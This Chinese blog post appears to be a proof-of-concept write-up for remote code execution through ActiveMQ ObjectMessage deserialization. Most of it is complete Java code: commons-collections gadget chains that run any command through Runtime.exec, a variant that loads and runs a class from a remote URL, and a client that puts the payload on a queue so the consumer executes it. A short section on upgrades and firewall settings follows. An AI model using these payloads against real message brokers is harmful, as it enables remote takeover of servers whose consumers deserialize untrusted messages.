最近研究了下ActiveMQ的ObjectMessage漏洞,就是反射的漏洞。

    (貌似jdk就有反射漏洞,jmrrmi之类的,自己去研究吧)
    经过测试此漏洞在jdk1.8或者ActiveMQ-5.13已经修复。
  一、测试攻击的环境
    1.ActiveMQ-5.9

    2.jdk1.6

    依赖的jar包,红色箭头的,剩下的自己看需不需要了。

    好像主要就是commons-collections.jar 出现的漏洞,有点忘了

    

  二、实现

    PayloadGeneration.java 攻击类

    MQTest3 测试类

    首先启动ActiveMQ,这个就不用我说了吧。

    注:MQ调用中,账户、密码、连接根据实际情况进行相应的修改

  三、效果

    谁消费信息,谁倒霉。

    在靶机上执行任何程序有权限的 cmd 命令(linux没有测试,不过相信一样可以实现)

  四、延展及防护

    1.组合命令自己看代码修改

    2.当然有漏洞就要修了

        要么升级jdk到1.8

        要么升级ActiveMQ到5.13

        要么就不要使用ObjectMessage的方式的队列

     当然如果不方便升级环境,那就一定要配置好MQ的账号密码,配置好防火墙规则。。。

  五、声明:搞破坏是不道德的,后果自负。

-----------------------------代码分割线---------------------------------

PayloadGeneration.java 攻击类代码

package com.zkl.rmi;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class PayloadGeneration {
public static Object generateExecPayload(String cmd) throws Exception
{
return getPayloadObject(getExecTransformer(cmd));
}
public static Object generateURLClassLoaderPayload(String url, String classNmae, String method, String cmd ) throws Exception
{
return getPayloadObject(getURLClassLoaderTransformer(url, classNmae, method, cmd));
}
public static Object generateLazyMapExecPayload(String cmd) throws Exception
{
return getLazyMapPayloadObject(getExecTransformer(cmd));
}
public static Object generateLazyMapURLClassLoaderPayload(String url, String classNmae, String method, String cmd ) throws Exception
{
return getLazyMapPayloadObject(getURLClassLoaderTransformer(url, classNmae, method, cmd));
}
private static Object getPayloadObject(Transformer transformerChain) throws Exception 
{
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    
    @SuppressWarnings({ "unchecked", "rawtypes" })
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(new Object[] { Retention.class, outmap });
    return instance;  
}
private static Object getLazyMapPayloadObject(Transformer transformerChain) throws Exception 
{
Map innerMap = new HashMap();
  Map lazyMap  = LazyMap.decorate(innerMap, transformerChain);
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);
Map mapProxy = Map.class.cast(Proxy.newProxyInstance(PayloadGeneration.class
.getClassLoader(), new Class[] { Map.class }, invo));
InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
    return handler;
}
private static Constructor getFirstCtor(final String name)
throws Exception {
final Constructor ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
private static Transformer getExecTransformer(String cmd)
{
Transformer[] transformers = new Transformer[] {
     new ConstantTransformer(Runtime.class),
   new InvokerTransformer("getMethod",            
        new Class[] {String.class,Class[].class },  
        new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class }, 
        new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {cmd})
 };
Transformer transformerChain = new ChainedTransformer(transformers);
return transformerChain;
}
private static Transformer getURLClassLoaderTransformer(String url, String classNmae, String method, String cmd ) throws MalformedURLException
{
    Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] {Class[].class},
new Object[] {new Class[]{java.net.URL[].class}}
),
new InvokerTransformer("newInstance",
new Class[] {Object[].class},
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(url) }}}
),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { classNmae }
),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{method, new Class[]{String.class}}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new String[]{cmd}}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
return transformerChain;
}
}


     MQTest3 测试类代码   


package com.zkl.mq;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.DeliveryMode;
import javax.jms.Destination;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageConsumer;
import javax.jms.MessageProducer;
import javax.jms.ObjectMessage;
import javax.jms.Session;
import org.apache.activemq.ActiveMQConnectionFactory;
import com.zkl.rmi.PayloadGeneration;
public class MQTest3 {
public static void main(String[] args) throws Exception {
MQinfo mqinfo = new MQinfo();
mqinfo.setUrl("failover:(tcp://localhost:61616)?jms.useAsyncSend=true");
mqinfo.setUsername("queue");
mqinfo.setPassword("queue");
sendTest( mqinfo);
testReceiver(mqinfo);
}
/**
 * 发送请求
 */
public static void sendTest(MQinfo mqinfo) throws Exception{
Object instance = PayloadGeneration.generateExecPayload("calc");//此处执行命令
// 1.创建链接工厂
// ConnectionFactory :连接工厂,JMS 用它创建连接
ActiveMQConnectionFactory connectionFactory;
// Connection :JMS 客户端到JMS Provider 的连接
Connection connection = null;
// Session: 一个发送或接收消息的线程
Session session = null;
// Destination :消息的目的地;
Destination destination;
// MessageProducer:消息发送者
MessageProducer producer = null;
try {
connectionFactory = new ActiveMQConnectionFactory(mqinfo.getUsername(),mqinfo
.getPassword(), mqinfo.getUrl());
//connectionFactory.setTrustedPackages(new ArrayList(Arrays.asList("com.zkl.mq.GoodsputCenterToZoneReq,com.zkl.mq.Msg".split(","))));
// 构造从工厂得到连接对象
connection = connectionFactory.createConnection();
// 启动
connection.start();
// 获取操作连接
session = connection.createSession(Boolean.FALSE,
Session.AUTO_ACKNOWLEDGE);
// 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置
destination = session.createQueue("mqbugtest");
// 得到消息生成者【发送者】
producer = session.createProducer(destination);
// 设置不持久化,此处学习,实际根据项目决定
producer.setDeliveryMode(DeliveryMode.NON_PERSISTENT);
// Create a messages
ObjectMessage objMsg = session.createObjectMessage();
objMsg.setObject((Serializable) instance);
producer.send(objMsg);
} catch (Exception e) {
e.printStackTrace();
} finally {
// Clean up
release(connection, session, producer, null);
}
}
    /**
 * 接受请求
 */
public static void testReceiver(MQinfo mqinfo) {
// 1.创建链接工厂
// ConnectionFactory :连接工厂,JMS 用它创建连接
ActiveMQConnectionFactory connectionFactory;
// Connection :JMS 客户端到JMS Provider 的连接
Connection connection = null;
// Session: 一个发送或接收消息的线程
Session session = null;
// Destination :消息的目的地;
Destination destination = null;
// 消费者,消息接收者
MessageConsumer consumer = null;
try {
connectionFactory = new ActiveMQConnectionFactory( mqinfo.getUsername(),mqinfo
.getPassword(), mqinfo.getUrl());
//connectionFactory.setTrustedPackages(new ArrayList(Arrays.asList("com.zkl.mq".split(","))));
//connectionFactory.setTrustAllPackages(true);
// 构造从工厂得到连接对象
connection = connectionFactory.createConnection();
// 启动
connection.start();
// 获取操作连接
session = connection.createSession(Boolean.FALSE,
Session.AUTO_ACKNOWLEDGE);
// 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置
destination = session.createQueue("mqbugtest");
// Create a messages
consumer = session.createConsumer(destination);
Message msg =  consumer.receive(1000l);
Msg msgr = (Msg) ((ObjectMessage) msg).getObject();
} catch (Exception e) {
e.printStackTrace();
} finally {
// Clean up
release(connection, session, null, consumer);
}
}
public static void release(Connection connection, Session session,
MessageProducer producer, MessageConsumer consumer) {
try {
if (producer != null)
producer.close();
} catch (JMSException e) {
e.printStackTrace();
} finally {
try {
if (consumer != null)
consumer.close();
} catch (JMSException e) {
e.printStackTrace();
} finally {
try {
if (session != null)
session.close();
} catch (JMSException e) {
e.printStackTrace();
} finally {
try {
if (connection != null)
connection.close();
} catch (JMSException e) {
e.printStackTrace();
}
}
}
}
}
}



乐享:知识积累,快乐无限。